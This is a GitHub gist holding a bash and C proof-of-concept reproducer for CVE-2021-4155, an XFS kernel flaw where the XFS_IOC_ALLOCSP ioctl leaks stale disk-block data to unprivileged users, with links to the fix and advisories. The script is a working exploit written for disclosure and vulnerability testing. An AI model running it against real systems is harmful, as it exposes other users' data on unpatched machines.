Created
January 13, 2022 22:59
-
-
Save tkhai/aae1f6add2fce35680c70dd6063dd837 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Reproducer for CVE-2021-4155 | |
# This script shows the way ioctl(XFS_IOC_ALLOCSP) and friends | |
# leak 4095 bytes of every XFS block (4096 bytes) -- almost everything. | |
# Found by ktkhai@virtuozzo.com, fix and report sent to Red Hat and security@kernel.org. | |
# Fix: https://lists.openvz.org/pipermail/devel/2021-December/079470.html | |
# Fix in ms: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=983d8e60f50806f90534cc5373d0ce867e5aaf79 | |
# https://www.virtuozzo.com/company/blog/xfs-file-system-vulnerability-cve-2021-4155/ | |
# https://access.redhat.com/security/cve/cve-2021-4155 | |
# This is a strange ioctl(XFS_IOC_ALLOCSP), which does | |
# the same as fallocate(). The only difference is that it can leak raw block device data. | |
# This may be a backdoor, but since it's introduced long time ago before git, it's difficult to investigate. | |
# Prepare block device image. | |
wget http://lib.ru/SHAKESPEARE/ENGL/hamlet_en.txt -O hamlet_en.txt || exit 1 | |
truncate -s 0 file.img || exit 1 | |
for i in `seq 100`; do | |
cat hamlet_en.txt >> file.img || exit 1 | |
done | |
losetup /dev/loop0 file.img || exit 1 | |
# Make filesystem on block device. | |
# '-K' means -- do not discard old disk data. | |
mkfs.xfs -Kf /dev/loop0 || exit 1 | |
mount /dev/loop0 /mnt || exit 1 | |
# Now we have a prepared mountpoint. | |
# The below may be executed under unprivileged user. | |
cat > xfs_test.c <<- EOM | |
#include <xfs/xfs.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <errno.h> | |
int main(int argc, char *argv[]) | |
{ | |
xfs_flock64_t arg; | |
unsigned long i; | |
int fd, ret; | |
if (argc != 2) { | |
fprintf(stderr, "Wrong args\n"); | |
exit(1); | |
} | |
fd = open(argv[1], O_RDWR|O_CREAT|O_TRUNC, 0600); | |
if (fd < 0) { | |
perror("open"); | |
exit(1); | |
} | |
for (i = 1; i < 100000; i++) { | |
if (ftruncate(fd, 4096 * i - 1)) { | |
perror("truncate"); | |
exit(1); | |
} | |
arg.l_whence = SEEK_SET; | |
arg.l_start = 4096 * i; | |
ret = ioctl(fd, XFS_IOC_ALLOCSP, &arg); | |
if (ret < 0) { | |
perror("ioctl"); | |
exit(1); | |
} | |
} | |
close(fd); | |
} | |
EOM | |
gcc xfs_test.c -o xfs_test || exit 1 | |
./xfs_test /mnt/read_me | |
# If you see Shakespeare's text here, your kernel is vulnerable. | |
less /mnt/read_me || exit 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment